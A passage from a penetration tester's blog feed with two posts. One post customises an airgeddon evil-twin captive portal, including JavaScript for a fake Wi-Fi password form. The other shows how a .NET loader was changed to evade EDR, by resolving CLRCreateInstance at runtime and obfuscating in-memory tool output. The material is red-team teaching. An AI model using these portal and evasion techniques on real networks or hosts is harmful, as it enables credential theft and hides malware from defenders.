<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">onLoad</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
        <span class="kd">var</span> <span class="nx">formElement</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">loginform</span><span class="dl">"</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">formElement</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
            <span class="kd">var</span> <span class="nx">validateForm</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
                <span class="nx">event</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
                <span class="kd">var</span> <span class="nx">password</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">password</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span><span class="p">;</span>
                <span class="k">if</span> <span class="p">(</span><span class="nx">password</span> <span class="o">===</span> <span class="dl">""</span><span class="p">)</span> <span class="p">{</span>
                    <span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">Please enter the Wi-Fi password.</span><span class="dl">"</span><span class="p">);</span>
                <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">password</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="p">{</span>
                    <span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">The password must be at least 8 characters.</span><span class="dl">"</span><span class="p">);</span>
                <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                    <span class="nx">formElement</span><span class="p">.</span><span class="nx">submit</span><span class="p">();</span>
                <span class="p">}</span>
            <span class="p">};</span>
            <span class="nx">formElement</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">submit</span><span class="dl">"</span><span class="p">,</span> <span class="nx">validateForm</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">};</span>

    <span class="nb">document</span><span class="p">.</span><span class="nx">readyState</span> <span class="o">!=</span> <span class="dl">'</span><span class="s1">loading</span><span class="dl">'</span> <span class="p">?</span> <span class="nx">onLoad</span><span class="p">()</span> <span class="p">:</span> <span class="nb">document</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">'</span><span class="s1">DOMContentLoaded</span><span class="dl">'</span><span class="p">,</span> <span class="nx">onLoad</span><span class="p">);</span>
<span class="p">})();</span>
</code></pre></div></div>

<h1 id="the-demo-captive-portal">The Demo Captive Portal</h1>

<p>Put the template in a sub-folder of <code class="language-plaintext highlighter-rouge">/usr/share/airgeddon/plugins/custom_portals/</code>.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[/usr/…/airgeddon/plugins/custom_portals/Demo]
└─# <span class="nb">ls</span> <span class="nt">-al</span>
total 48
drwxr-xr-x 2 root root  4096 Sep  6 02:11 <span class="nb">.</span>
drwxr-xr-x 3 root root  4096 Sep  5 23:46 ..
<span class="nt">-rw-r--r--</span> 1 root root  2036 Sep  6 02:10 check.htm
<span class="nt">-rw-r--r--</span> 1 root root  1170 Sep  6 02:10 index.htm
<span class="nt">-rwxr-x---</span> 1 root root 24228 Sep  6 02:11 logo.png
<span class="nt">-rw-r--r--</span> 1 root root  1556 Sep  6 02:10 portal.css
<span class="nt">-rw-r--r--</span> 1 root root   889 Sep  6 02:11 portal.js
</code></pre></div></div>

<p>After the handshake capture file with deauthentication has been obtained, a rogue AP will be established with the captive portal.</p>

<p><img src="/assets/images/2025-09-06/2025-09-06-02.png" alt="" /></p>

<p><img src="/assets/images/2025-09-06/2025-09-06-03.png" alt="" /></p>

<h1 id="captive-portal-sample">Captive Portal Sample</h1>

<p>You may refer to my sample on <a href="https://github.com/patrickt2017/Airgeddon-Evil-Twin-Captive-Portal-Demo">https://github.com/patrickt2017/Airgeddon-Evil-Twin-Captive-Portal-Demo</a> and develop your own template further!</p>

<h1 id="resources">Resources</h1>

<p>https://zimperium.com/glossary/evil-twin-attacks</p>]]></content><author><name>Patrick Tung</name></author><category term="Penetration-Test" /><category term="Penetration-Test" /><summary type="html"><![CDATA[A summarized walkthrough to customize the captive portal in Wi-Fi Evil Twin attacks.]]></summary></entry><entry><title type="html">Tactics for Evading Static PE and Memory-Based Detection</title><link href="https://patrickt2017.github.io/edr-evasion/Evading-EDR/" rel="alternate" type="text/html" title="Tactics for Evading Static PE and Memory-Based Detection" /><published>2025-07-20T00:00:00+00:00</published><updated>2025-07-20T00:00:00+00:00</updated><id>https://patrickt2017.github.io/edr-evasion/Evading-EDR</id><content type="html" xml:base="https://patrickt2017.github.io/edr-evasion/Evading-EDR/"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>A few weeks ago I developed a .NET loader called <a href="https://github.com/patrickt2017/VEHNetLoader">VEHNetLoader</a> and later I tried to run it in other EDR solutions. It has been immediately detected and blocked. Hence, it encouraged me to figure out what is going on and look for improvements.</p>

<h1 id="problems-with-the-original-loader">Problems with the Original Loader</h1>
<h2 id="scanning-on-import-directory-table">Scanning on Import Directory Table</h2>
<p>To create a CLR instance, <code class="language-plaintext highlighter-rouge">CLRCreateInstance</code> in <code class="language-plaintext highlighter-rouge">metahost.h</code> and <code class="language-plaintext highlighter-rouge">mscoree.lib</code> is used as follows.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">hr</span> <span class="o">=</span> <span class="n">CLRCreateInstance</span><span class="p">(</span><span class="o">&amp;</span><span class="n">CLSID_CLRMetaHost</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">xIID_ICLRMetaHost</span><span class="p">,</span> <span class="p">(</span><span class="n">LPVOID</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">pMetaHost</span><span class="p">);</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">STDAPI</span> <span class="nf">CLRCreateInstance</span><span class="p">(</span><span class="n">REFCLSID</span> <span class="n">clsid</span><span class="p">,</span> <span class="n">REFIID</span> <span class="n">riid</span><span class="p">,</span> <span class="cm">/*iid_is(riid)*/</span> <span class="n">LPVOID</span> <span class="o">*</span><span class="n">ppInterface</span><span class="p">);</span>
</code></pre></div></div>
<p><em>The definition of CLRCreateInstance</em></p>

<p>When the header and the library are included in the loader, the import directory table of its Portable Executable (PE) file would include the <code class="language-plaintext highlighter-rouge">mscoree.dll</code> DLL and the entry of <code class="language-plaintext highlighter-rouge">CLRCreateInstance</code>. EDR could treat this as malicious file by static analysis of the PE file and its import directory table.</p>

<p><img src="/assets/images/2025-07-20/2025-07-20-Evading-EDR-PE.png" alt="" /></p>

<h2 id="assembly-output-content-detected-by-memory-scanning">Assembly Output Content Detected by Memory Scanning</h2>
<p>The output of the .NET assembly is stored in a buffer in cleartext. If EDR performs in-memory scanning of the loader process, it could identify any malicious string of the .NET assembly output.</p>

<p><img src="/assets/images/2025-07-20/2025-07-20-Evading-EDR-Memory-Scanning.png" alt="" /></p>

<h1 id="solutions">Solutions</h1>
<h2 id="loading-functions-in-runtime">Loading Functions in Runtime</h2>

<p>The solution is simple that we do not import the library and function in the PE file. Instead, we dynamically load the library and function before calling <code class="language-plaintext highlighter-rouge">CLRCreateInstance</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">fnCLRCreateInstance</span> <span class="n">CLRCreateInstance</span> <span class="o">=</span> <span class="p">(</span><span class="n">fnCLRCreateInstance</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">LoadLibraryW</span><span class="p">(</span><span class="s">L"mscoree.dll"</span><span class="p">),</span> <span class="s">"CLRCreateInstance"</span><span class="p">);</span>
</code></pre></div></div>

<p>In the revised PE file, the import directory table no longer contains the malicious library and function.
<img src="/assets/images/2025-07-20/2025-07-20-Evading-EDR-PE-2.png" alt="" /></p>

<h2 id="obfuscation--encoding--encryptions">Obfuscation / Encoding / Encryptions</h2>

<p>The idea behind is also easy to understand - obfuscate/encode/encrypt the malicious string into a form that EDR could not understand and determine the process is illegal.</p>

<p>Before obfuscation, the output is stored in plaintext and EDR could identify this is from Rubeus tool by pattern matching.
<img src="/assets/images/2025-07-20/2025-07-20-Evading-EDR-Memory-Scanning-2.png" alt="" /></p>

<p>After obfuscation, it is much difficult to know the meaning of the obfuscated content below.
<img src="/assets/images/2025-07-20/2025-07-20-Evading-EDR-Memory-Scanning-3.png" alt="" /></p>

<h1 id="conclusion">Conclusion</h1>

<p>In addition to the issues mentioned in the blog, we should be aware that other powerful EDR platforms may use alternative approaches, such as behavioral analysis, to flag the process as suspicious.</p>

<h1 id="resources">Resources</h1>
<ol>
  <li>https://www.r-tec.net/r-tec-blog-net-assembly-obfuscation-for-memory-scanner-evasion.html</li>
</ol>]]></content><author><name>Patrick Tung</name></author><category term="EDR-Evasion" /><category term="EDR-Evasion" /><summary type="html"><![CDATA[A quick sharing of simple ways to evade statfic PE and memory scanning.]]></summary></entry></feed>